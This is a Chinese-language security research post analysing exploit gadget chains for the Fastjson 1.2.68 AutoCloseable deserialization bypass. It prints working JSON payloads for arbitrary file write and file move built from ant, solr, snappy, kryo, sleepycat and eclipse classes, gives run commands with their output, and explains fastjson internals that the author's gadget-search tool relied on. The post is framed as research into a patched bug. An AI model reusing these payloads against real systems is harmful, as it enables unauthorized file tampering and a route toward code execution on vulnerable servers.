标题: 寻找Fastjson 1.2.68 AutoCloseable利用链(2) 创建: 2020-08-10 09:00 更新: 2020-08-11 09:34 链接: https://scz.617.cn/web/202008100900.txt -------------------------------------------------------------------------- 目录: ☆ 前言 ☆ AutoCloseable_ant_solr_snappy.json ☆ 浅蓝的原始PoC 1) AutoCloseable_movefile.json 2) AutoCloseable_writefile.json ☆ 复盘 1) 为什么我忽略了"com.sleepycat.bind.serial.SerialOutput" 2) 为什么FindSomeClass3_mini.txt中没有ObjectOutputStream -------------------------------------------------------------------------- ☆ 前言 文中涉及到的相关漏洞均为官方已经公开并修复的漏洞,涉及到的安全技术也仅用于 企业安全建设和安全对抗研究。本文仅限业内技术研究与讨论,严禁用于非法用途, 否则产生的一切后果自行承担。 参看: 《寻找Fastjson 1.2.68 AutoCloseable利用链》 https://scz.617.cn/web/202008081723.txt 本文针对rt.jar的潜在幺蛾子增补一些内容。早上意外看到浅蓝的原始PoC,学习之。 ☆ AutoCloseable_ant_solr_snappy.json 第一个OutputStream不用rt.jar中的FileOutputStream,转用第三方库中的 LazyFileOutputStream。FindSomeClass_mini.txt中有很多备选。 -------------------------------------------------------------------------- { 'stream': { '@type':"java.lang.AutoCloseable", '@type':'org.apache.tools.ant.util.LazyFileOutputStream', 'file':'/tmp/nonexist', 'append':false }, 'writer': { '@type':"java.lang.AutoCloseable", '@type':'org.apache.solr.common.util.FastOutputStream', 'tempBuffer':'SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=', 'sink': { '$ref':'$.stream' }, 'start':38 }, 'close': { '@type':"java.lang.AutoCloseable", '@type':'org.iq80.snappy.SnappyOutputStream', 'out': { '$ref':'$.writer' } } } -------------------------------------------------------------------------- java \ -cp "fastjson-1.2.68.jar:ant-1.6.5.jar:solr-solrj-6.6.2.jar:snappy-0.3.jar:." \ FastjsonDeserialize2 AutoCloseable_ant_solr_snappy.json ☆ 浅蓝的原始PoC 1) AutoCloseable_movefile.json -------------------------------------------------------------------------- { 'stream': { '@type':"java.lang.AutoCloseable", '@type':'org.eclipse.core.internal.localstore.SafeFileOutputStream', 'targetPath':'/tmp/dst', 'tempPath':'/tmp/src' } } -------------------------------------------------------------------------- 假设src存在、dst不存在,PoC导致两个动作: a) mv src dst b) touch src 如果不考虑动作b,这就是move文件,不是copy文件。即使考虑动作b,这也不是copy 文件,源文件被清空,测试时务必提前意识到这点。 不清楚原理时请严格按照如下步骤测试: echo -ne 'b1u3r' > /tmp/src rm /tmp/dst java \ -cp "fastjson-1.2.68.jar:resources-3.3.0-v20070604.jar:." \ FastjsonDeserialize2 AutoCloseable_movefile.json $ xxd -g 1 /tmp/src (无输出) $ xxd -g 1 /tmp/dst 0000000: 62 31 75 33 72 b1u3r 浅蓝用的jar包是: https://repo1.maven.org/maven2/org/aspectj/aspectjtools/1.9.5/aspectjtools-1.9.5.jar 金超前的本地仓库中没有这个库,但有resources库,只是测试的话无所谓。 2) AutoCloseable_writefile.json -------------------------------------------------------------------------- { 'stream': { '@type':"java.lang.AutoCloseable", '@type':'org.eclipse.core.internal.localstore.SafeFileOutputStream', 'targetPath':'/tmp/dst', 'tempPath':'/tmp/src' }, 'writer': { '@type':"java.lang.AutoCloseable", '@type':'com.esotericsoftware.kryo.io.Output', 'buffer':'YjF1M3I=', 'outputStream': { '$ref':'$.stream' }, 'position':5 }, 'close': { '@type':"java.lang.AutoCloseable", '@type':'com.sleepycat.bind.serial.SerialOutput', 'out': { '$ref':'$.writer' } } } -------------------------------------------------------------------------- 第一个类无所谓,可选项很多。 第二个类,我也曾用过"com.esotericsoftware.kryo.io.Output"。 第三个类,我学艺不精,无视了ObjectOutputStream.class及其子孙类,导致较难找 到与kryo适配的类,这事后面再说。 这个PoC有些注意事项: a) 只要dst存在,PoC就会往src写数据,与src是否存在无关。 b) dst不存在、src存在时,先"mv src dst",再往src写数据。 c) dst、src都不存在时才会往dst写数据。 不清楚原理时请严格按照如下步骤测试: rm /tmp/src rm /tmp/dst java \ -cp "fastjson-1.2.68.jar:resources-3.3.0-v20070604.jar:kryo-4.0.0.jar:je-5.0.73.jar:." \ FastjsonDeserialize2 AutoCloseable_writefile.json $ xxd -g 1 /tmp/src xxd: /tmp/src: No such file or directory $ xxd -g 1 /tmp/dst 0000000: 62 31 75 33 72 b1u3r ☆ 复盘 1) 为什么我忽略了"com.sleepycat.bind.serial.SerialOutput" FindSomeClass3_mini.txt中有: -------------------------------------------------------------------------- X:\jar\repository\com\sleepycat\je\5.0.73\je-5.0.73.jar com.sleepycat.bind.serial.SerialOutput public com.sleepycat.bind.serial.SerialOutput(java.io.OutputStream,com.sleepycat.bind.serial.ClassCatalog) throws java.io.IOException -------------------------------------------------------------------------- 浅蓝因为事先盯上ObjectOutputStream.class,有意识地去找其子孙类。但我并没有 注意到SerialOutput.class,有两点被忽视了: -------------------------------------------------------------------------- a) SerialOutput.()会调ObjectOutputStream.() b) Fastjson反序列化时,假设构造函数需要多个形参,而json只提供了其中一部分,则 未提供的形参使用0、空串或null。 -------------------------------------------------------------------------- 参看: -------------------------------------------------------------------------- /* * 1.2.68 * * com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(DefaultJSONParser, Type, Object, Object, int, int[]) : Object */ protected T deserialze(DefaultJSONParser parser, // Type type, // Object fieldName, // Object object, // int features, // int[] setFlags) { ... /* * 955行 */ FieldInfo[] fieldInfoList = beanInfo.fields; int size = fieldInfoList.length; params = new Object[size]; for (int i = 0; i < size; ++i) { FieldInfo fieldInfo = fieldInfoList[i]; Object param = fieldValues.get(fieldInfo.name); /* * 961行 */ if (param == null) { Type fieldType = fieldInfo.fieldType; if (fieldType == byte.class) { param = (byte) 0; } else if (fieldType == short.class) { param = (short) 0; } else if (fieldType == int.class) { param = 0; } else if (fieldType == long.class) { param = 0L; } else if (fieldType == float.class) { param = 0F; } else if (fieldType == double.class) { param = 0D; } else if (fieldType == boolean.class) { param = Boolean.FALSE; } else if (fieldType == String.class && (fieldInfo.parserFeatures & Feature.InitStringFieldAsEmpty.mask) != 0) { param = ""; } } params[i] = param; } ... /* * 1012行,调用目标类构造函数 */ object = beanInfo.creatorConstructor.newInstance(params); ... } -------------------------------------------------------------------------- 之前用某种过滤规则的FindSomeClass3扫中过ObjectOutputStream.class,当时也去 看过: java.io.ObjectOutputStream$BlockDataOutputStream(java.io.OutputStream) void java.io.ObjectOutputStream$BlockDataOutputStream.drain() 不知何故将之放过?主要还是此道不精吧。更扯的是,不但没有盯上它,还莫名其妙 有个错误结论,认为ObjectOutputStream的子孙类都不需要细看,于是进一步远离浅 蓝的这条利用链。 2) 为什么FindSomeClass3_mini.txt中没有ObjectOutputStream x64/RedHat 7.6+JDK 8u232 x86/Debian 9+JDK 10.0.2 java -cp "fastjson-1.2.68.jar:." FindSomeClass3 | grep -B 1 -A 1 java.io.ObjectOutputStream x64/Win7+JDK 11.0.5 X:\Java\jdk-11.0.5\bin\java -cp "fastjson-1.2.68.jar;." FindSomeClass3 | findstr /C:"java.io.ObjectOutputStream" 如上三种环境均可找到: public java.io.ObjectOutputStream(java.io.OutputStream) throws java.io.IOException x64/Win7+JDK 8u221 X:\Java\jdk1.8.0_221\bin\java -cp "fastjson-1.2.68.jar;." FindSomeClass3 | findstr /C:"java.io.ObjectOutputStream" 如上环境无输出! 为了减少干挠,所有目标rt.jar均为同一份rt_1.8.0_232.jar,源自RedHat,SHA1相 同。这就比较诡异了,jar包完全一样,只是Java解释器版本不同,有的能找到目标类, 有的却找不到。调试后发现幺蛾子出在ASMUtils.lookupParameterNames()中。 -------------------------------------------------------------------------- /* * 1.2.68 * * com.alibaba.fastjson.util.ASMUtils.lookupParameterNames(AccessibleObject) : String[] */ public static String[] lookupParameterNames(AccessibleObject methodOrCtor) { ... /* * 143行,"java.io.ObjectOutputStream"被最早那批ClassLoader加载过了, * FindSomeClass3.java虽然用自己的URLClassLoader加载rt_1.8.0_232.jar, * 但ASMUtils.lookupParameterNames()处理ObjectOutputStream.class时找到的是 * 最早那批ClassLoader。 */ ClassLoader classLoader = declaringClass.getClassLoader(); if (classLoader == null) { classLoader = ClassLoader.getSystemClassLoader(); } String className = declaringClass.getName(); String resourceName = className.replace('.', '/') + ".class"; /* * 150行,这个is里的jar包是当前Java进程JAVA_HOME中的rt.jar,对于 * "java.io.ObjectOutputStream"这种系统类来说,此处代码逻辑看不到我们指定 * 的rt_1.8.0_232.jar。按FindSomeClass3.java的代码逻辑,指定rt_1.8.0_232.jar * 仅仅起到组织类名的作用。 */ InputStream is = classLoader.getResourceAsStream(resourceName); if (is == null) { return new String[0]; } try { ClassReader reader = new ClassReader(is, false); TypeCollector visitor = new TypeCollector(name, types); reader.accept(visitor); /* * 160行,前述8u221的rt.jar不带调试信息,此处返回空数组String[0] */ String[] parameterNames = visitor.getParameterNamesForMethod(); for (int i = 0; i < parameterNames.length; i++) { Annotation[] annotations = parameterAnnotations[i]; if (annotations != null) { for (int j = 0; j < annotations.length; j++) { if (annotations[j] instanceof JSONField) { JSONField jsonField = (JSONField) annotations[j]; String fieldName = jsonField.name(); if (fieldName != null && fieldName.length() > 0) { parameterNames[i] = fieldName; } } } } } return parameterNames; } catch (IOException e) { return new String[0]; } finally { IOUtils.close(is); } } -------------------------------------------------------------------------- 回头来看,不算ASMUtils.lookupParameterNames()的幺蛾子,是FindSomeClass3代 码逻辑带来的误会。 实现FindSomeClass3.java时尝试过各种取形参名字的办法,比如: -------------------------------------------------------------------------- a) javac -parameters 这个从Java 8开始支持,但要求编译时就指定,对已存在的jar包无用。 b) com.sun.org.apache.bcel.internal.classfile.ClassParser 调用getLocalVariable(),本质上是读取"javac -g"留下的调试信息,这就看目标 jar是否保存调试信息了。 c) paranamer-2.8.jar 这是个第三方库,封装现有技术便于使用而已,没有本质突破。 d) ASMUtils.lookupParameterNames() 就FindSomeClass3.java原始目的而言,还不如直接调它算了。 -------------------------------------------------------------------------- 由于setter的存在,理论上并不要求目标jar包必须保存调试信息。Fastjson处理 setter的代码逻辑不依赖形参名字,FindSomeClass3.java中的FilterSetter()没有 调用ASMUtils.lookupParameterNames()。但合适的setter比合适的构造函数少多了。 rt.jar是否保存调试信息是目标环境强相关的,第三方库更是很难有个固定说法,所 以写FindSomeClass3.java愣搜,减少人工工作量。 如果没有仔细从头看下来,给懒人说个简单结论,在目标环境中执行FindSomeClass3, 如果它"没有"输出某个类,那该类就不能用于该目标环境,这是个必要非充分条件。 再强调一下,FindSomeClass3.java是示例性框架,读懂代码逻辑,根据不同需求自 行调整过滤规则。